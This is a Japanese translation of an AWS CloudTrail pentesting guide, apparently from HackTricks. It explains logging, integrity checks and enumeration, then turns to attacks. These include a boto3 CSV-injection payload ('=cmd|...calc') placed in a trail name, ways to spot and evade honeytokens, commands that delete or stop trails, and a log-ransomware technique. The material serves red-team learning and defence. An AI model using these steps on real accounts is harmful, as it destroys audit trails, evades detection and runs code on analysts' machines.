AWS - CloudTrail Enum

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

CloudTrail

AWS CloudTrailはAWS環境内のアクティビティを記録および監視します。AWSリソースとのすべてのやり取りについて、誰が何をいつどこから行ったかを含む詳細なイベントログをキャプチャします。これにより、変更とアクションの監査トレイルが提供され、セキュリティ分析、コンプライアンス監査、リソース変更の追跡が支援されます。CloudTrailは、ユーザーとリソースの動作を理解し、セキュリティポジションを向上させ、規制の遵守を確保するために不可欠です。

各記録されたイベントには次の情報が含まれます:

  • 呼び出されたAPIの名前:eventName

  • 呼び出されたサービス:eventSource

  • 時刻:eventTime

  • IPアドレス:SourceIPAddress

  • エージェントメソッド:userAgent。例:

    • Signing.amazonaws.com - AWS Management Consoleから

    • console.amazonaws.com - アカウントのルートユーザー

    • lambda.amazonaws.com - AWS Lambda

  • リクエストパラメータ:requestParameters

  • レスポンス要素:responseElements

イベントは約5分ごとにJSONファイルに記録され、CloudTrailによって保持され、最終的にログファイルは約15分後にS3に配信されます。 CloudTrailのログはアカウント間およびリージョン間で集約できます。 CloudTrailは、ログファイルの整合性を使用して、CloudTrailがそれらを配信した後もログファイルが変更されていないことを検証できるようにします。ログ内のSHA-256ハッシュをダイジェストファイルに作成します。新しいログのsha-256ハッシュは1時間ごとに作成されます。 Trailを作成する際、イベントセレクターを使用して、ログを記録するトレイルを示すことができます:管理、データ、またはインサイトイベント。

ログはS3バケットに保存されます。デフォルトではServer Side Encryption(SSE-S3)が使用されるため、AWSはアクセス権を持つ人々のためにコンテンツを復号化しますが、追加のセキュリティとしてSSE with KMSと独自のキーを使用できます。

ログは次の名前形式のS3バケットに保存されます

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • BucketNameが次のようになります:aws-cloudtrail-logs-<accountid>-<random>

  • 例:aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

各フォルダ内の各ログは、次の形式に従う名前を持ちますAccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

ログファイルの命名規則

さらに、ファイルの整合性を確認するためのダイジェストファイルは、同じバケット内に次の場所にあります:

複数のアカウントからのログの集約

  • ログファイルを配信するAWSアカウントでトライアルを作成します

  • CloudTrailのクロスアカウントアクセスを許可し、CloudTrailと必要な各AWSアカウントにアクセスを許可するための宛先S3バケットにアクセス許可を適用します

  • 他のAWSアカウントで新しいトレイルを作成し、ステップ1で作成したバケットを使用するように選択します

ただし、すべてのログを同じS3バケットに保存できる場合でも、複数のアカウントからのCloudTrailログを1つのAWSアカウントに属するCloudWatch Logsに集約することはできません。

アカウントには、CloudTrailから有効になっているさまざまなトレイルがあり、同じ(または異なる)ログを異なるバケットに保存している可能性があることを覚えておいてください。

組織内のすべてのアカウントから1つにCloudtrailを作成

CloudTrailを作成する際、組織内のすべてのアカウントでCloudTrailをアクティブにし、ログを1つのバケットに集約することができます:

この方法で、すべてのリージョンのすべてのアカウントでCloudTrailを簡単に構成し、ログを1つのアカウントに集約できます(保護する必要があります)。

ログファイルの確認

ログが変更されていないことを確認するには、次のコマンドを実行できます

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

CloudWatchへのログ

CloudTrailは自動的にログをCloudWatchに送信できるため、不審なアクティビティが行われた際に警告を設定できます。 CloudTrailがログをCloudWatchに送信するためには、そのアクションを許可するロールを作成する必要があります。可能であれば、これらのアクションを実行するためにAWSデフォルトのロールを使用することが推奨されています。このロールにより、CloudTrailが以下のアクションを実行できます:

  • CreateLogStream: CloudWatch Logsログストリームを作成できる

  • PutLogEvents: CloudTrailログをCloudWatch Logsログストリームに配信できる

イベント履歴

CloudTrailイベント履歴を使用すると、記録されたログをテーブルで確認できます:

インサイト

CloudTrail Insightsは、CloudTrailトレイルからの書き込み管理イベントを自動的に分析し、異常なアクティビティ警告します。たとえば、確立されたベースラインと異なるTerminateInstanceイベントの増加がある場合、それをInsightイベントとして表示します。これらのイベントにより、異常なAPIアクティビティの検出と対応がこれまで以上に容易になります。

これらのインサイトは、CloudTrailログと同じバケットに保存されます: BucketName/AWSLogs/AccountID/CloudTrail-Insight

セキュリティ

CloudTrailログファイルの整合性

  • ログが改ざんされていないかを検証します(変更または削除されていないか)

  • ダイジェストファイルを使用します(各ファイルにハッシュを作成)

    • SHA-256ハッシング

    • デジタル署名用のSHA-256 with RSA

    • Amazonが所有する秘密鍵

  • ダイジェストファイルの作成には1時間かかります(毎時実行)

不正なアクセスを停止する

  • IAMポリシーとS3バケットポリシーを使用します

    • セキュリティチーム —> 管理者アクセス

    • 監査人 —> 読み取り専用アクセス

  • ログを暗号化するためにSSE-S3/SSE-KMSを使用します

ログファイルの削除を防止する

  • IAMおよびバケットポリシーで削除アクセスを制限します

  • S3 MFA削除を構成します

  • ログファイル検証で検証します

アクセスアドバイザー

AWSアクセスアドバイザーは、最後の400日間のAWS CloudTrailログを収集して洞察を得ます。 CloudTrailは、AWSアカウントで行われたAWS API呼び出しと関連イベントの履歴をキャプチャします。アクセスアドバイザーはこのデータを利用して、サービスが最後にアクセスされた時期を表示します。 CloudTrailログを分析することで、アクセスアドバイザーはIAMユーザーやロールがアクセスしたAWSサービスとそのアクセス時期を特定できます。これにより、AWS管理者は、アクセスされていないサービスを特定し、実際の使用パターンに基づいて過剰な権限を削減する可能性があるため、権限を洗練させるための情報を得ることができます。

したがって、アクセスアドバイザーは、ユーザーに与えられている不要な権限について通知し、管理者がそれらを削除できるようにします

アクション

列挙

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail内でCSVインジェクションを実行することが可能で、ログがCSV形式でエクスポートされ、Excelで開かれた場合に任意のコードが実行される可能性があります。 次のコードは、ペイロードを含む悪意のあるTrail名を持つログエントリを生成します:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

CSVインジェクションに関する詳細は、以下のページを参照してください:

この特定のテクニックに関する詳細については、https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/をご覧ください。

検出のバイパス

HoneyTokens バイパス

HoneyTokensは、機密情報の持ち出しを検出するために作成されます。AWSの場合、監視されているAWSキーがあり、そのキーで何かがトリガーされると、誰かがそのキーを盗んだということになります。

ただし、この監視はCloudTrailを介して行われ、一部のAWSサービスはCloudTrailにログを送信しない場合があります(こちらのリストを参照)。これらのサービスのいくつかは、認可されていない人物(HoneyTokenキー)がアクセスしようとすると、エラーが返され、そのキーロールのARNが含まれます。

これにより、攻撃者はログをトリガーせずにキーのARNを取得できます。ARNにはAWSアカウントIDと名前が含まれており、HoneyTokenの企業アカウントIDと名前を簡単に特定できるため、攻撃者はトークンがHoneyTokenであるかどうかを特定できます。

HoneyTokensの検出

Pacu は、CanarytokensSpaceCrabSpaceSiren**** のキーを検出します:

  • キーのロール名またはアカウントIDに canarytokens.org が表示される場合、またはエラーメッセージに 534261010715 が表示される場合。

  • より最近のテストでは、アカウント 717712589309 を使用しており、名前に canarytokens.com の文字列がまだ含まれています。

  • エラーメッセージのロール名に SpaceCrab が表示される場合。

  • SpaceSiren はユーザー名を生成するために uuids を使用します:[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • 名前がランダムに生成されたように見える場合、それがHoneyTokenである可能性が高いです。

CloudTrailログを作成しないと判明したすべてのパブリックAPIが修正されたため、独自のものを見つける必要があるかもしれません...

または、アクセスキー内にエンコードされた アカウントIDを取得して、Honeytokens AWSアカウントのリストとアカウントIDを確認できます:こちらで説明されている通り。

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

詳細については、元のリサーチをチェックしてください。

サードインフラストラクチャへのアクセス

特定のAWSサービスは、データベースKubernetesクラスタ(EKSなど)などのインフラストラクチャを生成することがあります。ユーザーがこれらのサービス(例:Kubernetes API)に直接アクセスする場合、AWS APIを使用しないため、CloudTrailはこの通信を見ることができません。

したがって、EKSへのアクセス権を持つユーザーがEKS APIのURLを発見した場合、ローカルでトークンを生成し、CloudTrailに検出されることなくAPIサービスと直接通信することができます。

詳細は次の場所にあります:

pageAWS - EKS Post Exploitation

CloudTrailの構成の変更

トレイルの削除

aws cloudtrail delete-trail --name [trail-name]

トレイルの停止

aws cloudtrail stop-logging --name [trail-name]

マルチリージョンのロギングを無効にする

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

バケット構成の変更

  • S3バケットを削除する

  • バケットポリシーを変更して、CloudTrailサービスからの書き込みを拒否する

  • S3バケットにライフサイクルポリシーを追加してオブジェクトを削除する

  • CloudTrailログを暗号化するために使用されているkmsキーを無効にする

Cloudtrailランサムウェア

S3ランサムウェア

非対称キーを生成し、そのキーでCloudTrailがデータを暗号化し、プライベートキーを削除して、CloudTrailの内容を回復できないようにします。 これは基本的に、以下で説明されているS3-KMSランサムウェアです:

pageAWS - S3 Post Exploitation

KMSランサムウェア

これは、異なる権限要件で前述の攻撃を実行する最も簡単な方法です:

pageAWS - KMS Post Exploitation

参考文献

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちら!

HackTricksをサポートする他の方法:

最終更新